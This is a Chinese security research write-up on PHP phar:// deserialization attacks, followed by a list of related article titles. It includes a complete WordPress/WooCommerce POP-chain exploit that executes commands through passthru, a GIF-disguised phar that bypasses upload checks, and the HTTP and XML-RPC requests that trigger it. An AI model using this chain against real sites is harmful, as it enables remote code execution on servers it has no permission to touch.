作者:seaii@知道创宇404实验室

时间:2018/08/23

0x01 前言

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”,下面我们就来了解一下这种攻击手法。

0x02 原理分析

2.1 phar文件结构

在了解攻击手法之前我们要先看一下phar的文件结构,通过查阅手册可知一个phar文件有四部分构成:

1. a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

2.2 demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar_gen.php

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject();

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

可以明显的看到meta-data是以序列化的形式存储的:

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

来看一下php底层代码是如何处理的:

php-src/ext/phar/phar.c

通过一个小demo来证明一下:

phar_test1.php

class TestObject {

public function __destruct() {

echo 'Destruct called';

}

}

$filename = 'phar://phar.phar/test.txt';

file_get_contents($filename);

?>

其他函数当然也是可行的:

phar_test2.php

class TestObject {

public function __destruct() {

echo 'Destruct called';

}

}

$filename = 'phar://phar.phar/a_random_string';

file_exists($filename);

//......

?>

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

2.3 将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

$o = new TestObject();

$phar->setMetadata($o); //将自定义meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

采用这种方法可以绕过很大一部分上传检测。

0x03 实际利用

3.1 利用条件

任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。

phar文件要能够上传到服务器端。

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

3.2 wordpress

wordpress是网络上最广泛使用的cms,这个漏洞在2017年2月份就报告给了官方,但至今仍未修补。之前的任意文件删除漏洞也是出现在这部分代码中,同样没有修补。根据利用条件,我们先要构造phar文件。

首先寻找能够执行任意代码的类方法:

wp-includes/Requests/Utility/FilteredIterator.php

class Requests_Utility_FilteredIterator extends ArrayIterator {

/**

* Callback to run as a filter

*

* @var callable

*/

protected $callback;

...

public function current() {

$value = parent::current();

$value = call_user_func($this->callback, $value);

return $value;

}

}

这个类继承了ArrayIterator,每当这个类实例化的对象进入foreach被遍历的时候,current()方法就会被调用。下一步要寻找一个内部使用foreach的析构方法,很遗憾wordpress的核心代码中并没有合适的类,只能从插件入手。这里在WooCommerce插件中找到一个能够利用的类:

wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php

class WC_Log_Handler_File extends WC_Log_Handler {

protected $handles = array();

/*......*/

public function __destruct() {

foreach ( $this->handles as $handle ) {

if ( is_resource( $handle ) ) {

fclose( $handle ); // @codingStandardsIgnoreLine.

}

}

}

/*......*/

}

到这里pop链就构造完成了,据此构建phar文件:

class Requests_Utility_FilteredIterator extends ArrayIterator {

protected $callback;

public function __construct($data, $callback) {

parent::__construct($data);

$this->callback = $callback;

}

}

class WC_Log_Handler_File {

protected $handles;

public function __construct() {

$this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');

}

}

@unlink("phar.phar");

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型

$o = new WC_Log_Handler_File();

$phar->setMetadata($o); //将自定义meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

将后缀名改为gif后,可以在后台上传,也可以通过xmlrpc接口上传,都需要author及以上的权限。记下上传后的文件名和post_ID。

接下来我们要找到一个参数可控的文件系统函数:

wp-includes/post.php

function wp_get_attachment_thumb_file( $post_id = 0 ) {

$post_id = (int) $post_id;

if ( !$post = get_post( $post_id ) )

return false;

if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )

return false;

$file = get_attached_file( $post->ID );

if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {

/**

* Filters the attachment thumbnail file path.

*

* @since 2.1.0

*

* @param string $thumbfile File path to the attachment thumbnail.

* @param int $post_id Attachment ID.

*/

return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );

}

return false;

}

该函数可以通过XMLRPC调用"wp.getMediaItem"这个方法来访问到,变量$thumbfile传入了file_exists(),正是我们需要的函数,现在我们需要回溯一下$thumbfile变量,看其是否可控。

根据$thumbfile = str_replace(basename($file), $imagedata['thumb'], $file),如果basename($file)与$file相同的话,那么$thumbfile的值就是$imagedata['thumb']的值。先来看$file是如何获取到的:

wp-includes/post.php

function get_attached_file( $attachment_id, $unfiltered = false ) {

$file = get_post_meta( $attachment_id, '_wp_attached_file', true );

// If the file is relative, prepend upload dir.

if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {

$file = $uploads['basedir'] . "/$file";

}

if ( $unfiltered ) {

return $file;

}

/**

* Filters the attached file based on the given ID.

*

* @since 2.1.0

*

* @param string $file Path to attached file.

* @param int $attachment_id Attachment ID.

*/

return apply_filters( 'get_attached_file', $file, $attachment_id );

}

如果$file是类似于windows盘符的路径Z:\Z,正则匹配就会失败,$file就不会拼接其他东西,此时就可以保证basename($file)与$file相同。

可以通过发送如下数据包来调用设置$file的值:

POST /wordpress/wp-admin/post.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 147

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM

Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-

admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z

同样可以通过发送如下数据包来设置$imagedata['thumb']的值:

POST /wordpress/wp-admin/post.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 184

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM

Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-

admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt

_wpnonce可在修改页面中获取。

最后通过XMLRPC调用"wp.getMediaItem"这个方法来调用wp_get_attachment_thumb_file()函数来触发反序列化。xml调用数据包如下:

POST /wordpress/xmlrpc.php HTTP/1.1

Host: 127.0.0.1

Content-Type: text/xml

Cookie: XDEBUG_SESSION=PHPSTORM

Content-Length: 529

Connection: close

wp.getMediaItem

1

author

you_password

11

0x04 防御

在文件系统函数的参数可控时,对参数进行严格的过滤。

严格检查上传文件的内容,而不是只检查文件头。

在条件允许的情况下禁用可执行系统命令、代码的危险函数。

0x05 参考链接

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/680/

php phar 反序列化,利用 phar 拓展 php 反序列化漏洞攻击面相关推荐

  1. php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2

    Yii框架反序列化RCE利用链2(官方无补丁) Author:AdminTony 1.寻找反序列化点 全局搜索__wakeup函数,如下: 找到\symfony\string\UnicodeStrin ...

  2. 利用永恒之蓝入侵服务器复制文件,msf利用永恒之蓝进行漏洞攻击

    1. 永恒之蓝Eternalblue 攻击 Eternalblue 通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞 恶意代码会扫描开放445文件共享端口的Windows机器, ...

  3. 告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上)

    0x01 前言 我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就 ...

  4. 风炫安全Web安全学习第四十节课 反序列化漏洞攻击利用演示

    风炫安全Web安全学习第四十节课 反序列化漏洞攻击利用演示 0x02 反序列化漏洞利用 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个 ...

  5. php5.5 反序列化利用工具_记一次Spring Devtools反序列化利用

    0x01 背景 最近接触到一道与Java反序列化利用相关的CTF题目,由于之间接触Java反序列化比较少,并且这道题的反序列化利用中涉及到几个比较有意思的地方,例如URLConnection对访问协议 ...

  6. 『Java安全』SnakeYAML反序列化利用基础

    文章目录 前言 YAML基础 依赖 SnakeYAML序列化和反序列化基础 序列化 反序列化 SnakeYAML反序列化利用 原理 PoC 探测-触发dnslog 基于SPI的ScriptEngine ...

  7. 浅谈ThinkPH5.0和5.1的反序列化利用链分析

    前言 本文将总结分析ThinkPHP5.0和5.1中的反序列化利用链,一方面以备不时之需,另一方面算是对php反序列化的深入学习. 其中TP5.0的利用链会复杂很多,所以本文会先介绍TP5.1的利用链 ...

  8. 告别脚本小子系列丨JAVA安全(7)——反序列化利用链(中)

    0x01 前言 距离上一次更新JAVA安全的系列文章已经过去一段时间了,在上一篇文章中介绍了反序列化利用链基本知识,并阐述了Transform链的基本知识.Transform链并不是一条完整的利用链, ...

  9. php嵌套序列化输出tp5.0,ThinkPHP v5.0.x 反序列化利用链挖掘

    前言 前几天审计某cms基于ThinkPHP5.0.24开发,反序列化没有可以较好的利用链,这里分享下挖掘ThinkPHP5.0.24反序列化利用链过程.该POP实现任意文件内容写入,达到getshe ...

最新文章

  1. linux grep 快速,51CTO博客-专业IT技术博客创作平台-技术成就梦想
  2. 76. 最小覆盖子串(滑动窗口)
  3. Socket.IO介绍:支持WebSocket、用于WEB端的即时通讯的框架
  4. 网页字段位置php改变,php实现子字符串位置相互对调互换的方法
  5. 实验十 团队作业6:团队项目系统设计改进与详细设计
  6. mysql jpa 正则_Spring Data JPA 实例查询
  7. 计算机视觉三大会议——ICCV、ECCV和CVPR
  8. 理解MapReduce计算构架
  9. JAVA Thread的中断机制(interrupt)
  10. 三成手机电子书暗藏陷阱 诱骗下载强行吸费
  11. cat3 utp是不是网线_五类网线(CAT 5E/CAT 3 UTP)
  12. activti面试突击
  13. 易优CMS:arcpagelist 瀑布流分页列表
  14. python 顺序读取文件夹下面的文件(自定义排序方式)
  15. 常用的进制之间相互转换
  16. oscp——five86: 2
  17. PHP检测字数,PHP获取word文档字数的问题
  18. 【C语言】把一个结构体指针转换为另一个结构体指针
  19. 车贴服务器维修,汽车衡的故障分析及处理
  20. beyond comparet提示30天过期-解决办法(亲测,可用)

热门文章

  1. 【流媒体开发】11、ffmpeg命令过滤器(裁剪、水印、画中画、多宫格)
  2. Java为什么与平台无关
  3. 解决“尝试执行未经授权的操作”问题
  4. Spring Cloud Data Flow
  5. 摄影测量计算机视觉领域_死亡之书:摄影测量资产,树木,视觉特效
  6. 不义联盟2服务器维护,不义联盟2停止工作怎么解决_不义联盟2闪退怎么办
  7. 2021-2022学年广州市广大附中九年级第一学期开学考试英语试题(八年级第二学期大联盟)
  8. Python的编码规范
  9. Unity 2017版本安卓打包配置
  10. 《我好想摆烂》(1)之SQL基础语法